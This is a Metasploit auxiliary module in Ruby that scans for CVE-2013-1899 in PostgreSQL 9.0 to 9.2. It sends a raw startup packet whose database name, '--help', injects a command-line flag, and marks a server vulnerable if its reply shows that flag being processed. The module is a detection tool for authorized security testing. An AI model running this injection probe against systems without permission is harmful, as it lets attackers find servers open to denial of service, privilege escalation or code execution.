PostgreSQL Database Name Command Line Flag Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
# Creates an instance of this module.  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PostgreSQL Database Name Command Line Flag Injection',  
'Description' => %q{  
This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are  
vulnerable to command-line flag injection through CVE-2013-1899. This  
can lead to denial of service, privilege escalation, or even arbitrary  
code execution.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-1899' ],  
[ 'URL', 'https://www.postgresql.org/support/security/faq/2013-04-04/' ]  
]  
))  
  
register_options([ Opt::RPORT(5432) ])  
end  
  
def run_host(ip)  
  
request =  
"\x00\x03\x00\x00" +  
"user\x00" +  
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00" +  
"database\x00" +  
"--help\x00" +  
"application_name\x00" +  
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00\x00"  
  
connect  
  
probe = [request.length + 4].pack("N") + request  
  
sock.put(probe)  
resp = sock.get_once(-1, 5)  
  
if resp.to_s =~ /process_postgres_switches/  
proof = resp[4, resp.length-4].to_s.gsub("\x00", " ")  
  
print_good("#{rhost}:#{rport} is vulnerable to CVE-2013-1899: #{proof}")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:sname => 'postgres',  
:name => self.name,  
:info => "Vulnerable: " + proof,  
:refs => self.references  
})  
elsif resp.to_s =~ /pg_hba\.conf/  
print_error("#{rhost}:#{rport} does not allow connections from us")  
else  
print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")  
end  
end  
end  
`